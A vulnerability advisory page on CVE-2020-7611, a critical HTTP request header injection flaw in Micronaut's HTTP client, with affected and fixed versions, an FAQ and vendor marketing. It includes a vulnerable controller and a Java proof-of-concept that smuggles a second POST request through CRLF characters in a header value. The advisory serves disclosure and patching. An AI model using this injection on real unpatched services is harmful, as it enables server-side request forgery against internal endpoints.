CVE-2020-7611

Micronaut's HTTP client is vulnerable to HTTP Request Header Injection

@Controller("/hello")
public class HelloController {

    @Inject
    @Client("/")
    RxHttpClient client;

    @Get("/external-exploit")
    @Produces(MediaType.TEXT_PLAIN)
    public String externalExploit(@QueryValue("header-value") String headerValue) {
        return client.toBlocking().retrieve(
            HttpRequest.GET("/hello")
                .header("Test", headerValue)
        );
    }
}

List<String> headerData = List.of(
    "Connection: Keep-Alive", // This keeps the connection open so another request can be stuffed in.
    "",
    "",
    "POST /hello/super-secret HTTP/1.1",
    "Host: 127.0.0.1",
    "Content-Length: 31",
    "",
    "{\"new\":\"json\",\"content\":\"here\"}",
    "",
    ""
);
String headerValue = "H\r\n" + String.join("\r\n", headerData);;
URI theURI =
    UriBuilder
        .of("/hello/external-exploit")
        .queryParam("header-value", headerValue) // Automatically URL encodes data
        .build();
HttpRequest<String> request = HttpRequest.GET(theURI);
String body = client.toBlocking().retrieve(request);

The attacker is able to control the entirety of the HTTP body for their custom requests.
As such, this vulnerability enables attackers to perform a variant of Server Side Request Forgery.

CVE-2020-7611 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.11, 1.3.2); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

The problem has been patched in the micronaut-http-client versions 1.2.11 and 1.3.2 and above.

1. What is CVE-2020-7611? CVE-2020-7611 is a critical-severity security vulnerability in io.micronaut:micronaut-http-client (maven), affecting versions < 1.2.11. It is fixed in 1.2.11, 1.3.2.
2. How severe is CVE-2020-7611? CVE-2020-7611 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of io.micronaut:micronaut-http-client are affected by CVE-2020-7611? io.micronaut:micronaut-http-client (maven) versions < 1.2.11 is affected.
4. Is there a fix for CVE-2020-7611? Yes. CVE-2020-7611 is fixed in 1.2.11, 1.3.2. Upgrade to this version or later.
5. Is CVE-2020-7611 exploitable, and should I be worried? Whether CVE-2020-7611 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2020-7611 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2020-7611?
   • Upgrade io.micronaut:micronaut-http-client to 1.2.11 or later
   • Upgrade io.micronaut:micronaut-http-client to 1.3.2 or later

Other vulnerabilities in io.micronaut:micronaut-http-client